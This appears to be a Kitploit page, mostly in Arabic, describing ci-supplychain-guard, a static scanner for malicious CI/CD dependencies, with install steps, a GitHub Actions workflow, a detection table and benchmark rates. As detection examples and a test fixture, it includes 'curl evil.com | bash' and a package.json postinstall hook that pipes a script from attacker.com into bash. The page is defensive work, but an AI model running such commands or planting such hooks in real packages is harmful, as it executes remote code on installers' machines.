ci-supplychain-guard — أداة تحليل ثابتة تكتشف التبعيات الخبيثة في خطوط أنابيب CI/CD باستخدام مطابقة الأنماط وتحليل AST، مع نظام ترتيب مخاطر بتدرج ألوان إشارة المرور وإمكانية التحقق الاختياري باستخدام حاوية Docker معزولة. | Kitploit

حارس سلسلة توريد CI

أداة تحليل ثابتة للكشف عن التبعيات الضارة في خطوط CI/CD قبل دمجها في قاعدة الكود الخاصة بك.

المؤلف: Otsmane Ahmed
الحالة: نموذج أولي بحثي v1.0

بداية سريعة

# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

ستقوم الأداة بإخراج حكم: SAFE أو أو .

SUSPICIOUS

BLOCKED

# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

نوع الهجوم	مثال	الحالة
حقن الأوامر	`curl evil.com \| bash`	تم الكشف
سرقة بيانات الاعتماد	قراءة `process.env` وإرسالها إلى خادم خارجي	تم الكشف
تشويش الكود	`eval(atob('base64...'))`	تم الكشف
نصوص التثبيت الضارة	روابط NPM `postinstall`	تم الكشف
الملفات الثنائية	`.exe`, `.dll` في الحزم	تم الكشف
انتحال الاسم	أسماء مشابهة لحزم شهيرة	مطلوب فحص يدوي

# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

النظام البيئي	الحزم المختبرة	معدل الكشف
NPM	15,059	89.6%
PyPI	2,257	82.2%

الأكثر شعبية

ci-supplychain-guard

أمثلة الاستخدام

فحص حزمة قبل التثبيت

فحص التبعيات المثبتة

التكامل مع CI/CD

فهم المخرجات

حزمة آمنة

حزمة محظورة

حزمة مشبوهة

قدرات الكشف

اختبار الأداة

الأداء

الأسئلة الشائعة

المتطلبات

كيف يعمل

المساهمة

الترخيص

الاتصال